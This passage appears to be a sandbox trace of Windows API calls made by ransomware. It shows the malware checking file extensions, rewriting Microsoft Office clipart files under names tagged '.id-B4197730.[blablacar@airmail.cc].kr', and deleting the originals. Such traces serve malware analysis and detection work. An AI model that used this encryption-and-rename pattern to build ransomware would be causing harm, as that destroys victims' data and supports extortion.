returned 3 [0202.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.924] lstrlenW (lpString=".dbf") returned 4 [0202.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.924] lstrlenW (lpString=".1cd") returned 4 [0202.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0202.924] lstrlenW (lpString=".jpg") returned 4 [0202.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.925] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.925] lstrlenW (lpString="J0099181.WMF") returned 12 [0202.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.925] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1198) returned 1 [0202.925] CloseHandle (hObject=0x55c) returned 1 [0202.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0202.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.926] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.926] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.926] GetLastError () returned 0x0 [0202.926] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x4ae, lpOverlapped=0x0) returned 1 [0202.928] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4b0, lpOverlapped=0x0) returned 1 [0202.929] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.929] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0202.929] SetEndOfFile (hFile=0x540) returned 1 [0202.929] CloseHandle (hObject=0x540) returned 1 [0202.929] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.929] SetEndOfFile (hFile=0x55c) returned 1 [0202.932] CloseHandle (hObject=0x55c) returned 1 [0202.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.933] lstrlenW (lpString=".doc") returned 4 [0202.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.933] lstrlenW (lpString=".docx") returned 5 [0202.934] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.934] lstrlenW (lpString=".pdf") returned 4 [0202.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString=".xls") returned 4 [0202.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.934] lstrlenW (lpString=".xlsx") returned 5 [0202.934] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.934] lstrlenW (lpString=".ppt") returned 4 [0202.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.934] lstrlenW (lpString=".zip") returned 4 [0202.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.934] lstrlenW (lpString=".rar") returned 4 [0202.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString=".bz2") returned 4 [0202.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString=".7z") returned 3 [0202.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.934] lstrlenW (lpString=".dbf") returned 4 [0202.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.934] lstrlenW (lpString=".1cd") returned 4 [0202.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.934] lstrlenW (lpString=".jpg") returned 4 [0202.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.934] lstrlenW (lpString=".doc") returned 4 [0202.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.934] lstrlenW (lpString=".docx") returned 5 [0202.934] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.935] lstrlenW (lpString=".pdf") returned 4 [0202.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.935] lstrlenW (lpString=".xls") returned 4 [0202.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.935] lstrlenW (lpString=".xlsx") returned 5 [0202.935] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.935] lstrlenW (lpString=".ppt") returned 4 [0202.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.935] lstrlenW (lpString=".zip") returned 4 [0202.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.935] lstrlenW (lpString=".rar") returned 4 [0202.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.935] lstrlenW (lpString=".bz2") returned 4 [0202.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.935] lstrlenW (lpString=".7z") returned 3 [0202.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.935] lstrlenW (lpString=".dbf") returned 4 [0202.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.935] lstrlenW (lpString=".1cd") returned 4 [0202.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0202.935] lstrlenW (lpString=".jpg") returned 4 [0202.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.935] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.935] lstrlenW (lpString="J0099182.WMF") returned 12 [0202.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.936] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3840) returned 1 [0202.936] CloseHandle (hObject=0x55c) returned 1 [0202.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0202.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.937] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.937] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.938] GetLastError () returned 0x0 [0202.938] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xf00, lpOverlapped=0x0) returned 1 [0202.939] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xf10, lpOverlapped=0x0) returned 1 [0202.941] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.941] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0202.941] SetEndOfFile (hFile=0x540) returned 1 [0202.941] CloseHandle (hObject=0x540) returned 1 [0202.941] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.941] SetEndOfFile (hFile=0x55c) returned 1 [0202.944] CloseHandle (hObject=0x55c) returned 1 [0202.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0202.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.945] lstrlenW (lpString=".doc") returned 4 [0202.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.945] lstrlenW (lpString=".docx") returned 5 [0202.945] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0202.945] lstrlenW (lpString=".pdf") returned 4 [0202.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.945] lstrlenW (lpString=".xls") returned 4 [0202.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.945] lstrlenW (lpString=".xlsx") returned 5 [0202.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0202.945] lstrlenW (lpString=".ppt") returned 4 [0202.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.945] lstrlenW (lpString=".zip") returned 4 [0202.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.946] lstrlenW (lpString=".rar") returned 4 [0202.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString=".bz2") returned 4 [0202.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString=".7z") returned 3 [0202.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.946] lstrlenW (lpString=".dbf") returned 4 [0202.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.946] lstrlenW (lpString=".1cd") returned 4 [0202.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.946] lstrlenW (lpString=".jpg") returned 4 [0202.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.946] lstrlenW (lpString=".doc") returned 4 [0202.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString=".docx") returned 5 [0202.946] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0202.946] lstrlenW (lpString=".pdf") returned 4 [0202.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString=".xls") returned 4 [0202.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.946] lstrlenW (lpString=".xlsx") returned 5 [0202.946] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0202.946] lstrlenW (lpString=".ppt") returned 4 [0202.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.946] lstrlenW (lpString=".zip") returned 4 [0202.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.946] lstrlenW (lpString=".rar") returned 4 [0202.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.947] lstrlenW (lpString=".bz2") returned 4 [0202.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.947] lstrlenW (lpString=".7z") returned 3 [0202.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.947] lstrlenW (lpString=".dbf") returned 4 [0202.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.947] lstrlenW (lpString=".1cd") returned 4 [0202.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0202.947] lstrlenW (lpString=".jpg") returned 4 [0202.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.947] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.947] lstrlenW (lpString="J0099183.WMF") returned 12 [0202.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.948] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4946) returned 1 [0202.948] CloseHandle (hObject=0x55c) returned 1 [0202.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0202.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.948] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.948] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.949] GetLastError () returned 0x0 [0202.949] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1352, lpOverlapped=0x0) returned 1 [0203.193] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1360, lpOverlapped=0x0) returned 1 [0203.238] ReadFile (in: hFile=0x55c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.238] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.238] SetEndOfFile (hFile=0x540) returned 1 [0203.256] CloseHandle (hObject=0x540) returned 1 [0203.257] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.257] SetEndOfFile (hFile=0x55c) returned 1 [0203.259] CloseHandle (hObject=0x55c) returned 1 [0203.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0203.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.267] lstrlenW (lpString=".doc") returned 4 [0203.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString=".docx") returned 5 [0203.267] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0203.267] lstrlenW (lpString=".pdf") returned 4 [0203.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString=".xls") returned 4 [0203.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.267] lstrlenW (lpString=".xlsx") returned 5 [0203.267] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0203.267] lstrlenW (lpString=".ppt") returned 4 [0203.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.267] lstrlenW (lpString=".zip") returned 4 [0203.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.267] lstrlenW (lpString=".rar") returned 4 [0203.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString=".bz2") returned 4 [0203.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString=".7z") returned 3 [0203.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.267] lstrlenW (lpString=".dbf") returned 4 [0203.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.267] lstrlenW (lpString=".1cd") returned 4 [0203.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.268] lstrlenW (lpString=".jpg") returned 4 [0203.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.268] lstrlenW (lpString=".doc") returned 4 [0203.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString=".docx") returned 5 [0203.268] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0203.268] lstrlenW (lpString=".pdf") returned 4 [0203.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString=".xls") returned 4 [0203.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.268] lstrlenW (lpString=".xlsx") returned 5 [0203.268] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0203.268] lstrlenW (lpString=".ppt") returned 4 [0203.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.268] lstrlenW (lpString=".zip") returned 4 [0203.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.268] lstrlenW (lpString=".rar") returned 4 [0203.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString=".bz2") returned 4 [0203.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString=".7z") returned 3 [0203.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.268] lstrlenW (lpString=".dbf") returned 4 [0203.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.269] lstrlenW (lpString=".1cd") returned 4 [0203.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.269] lstrlenW 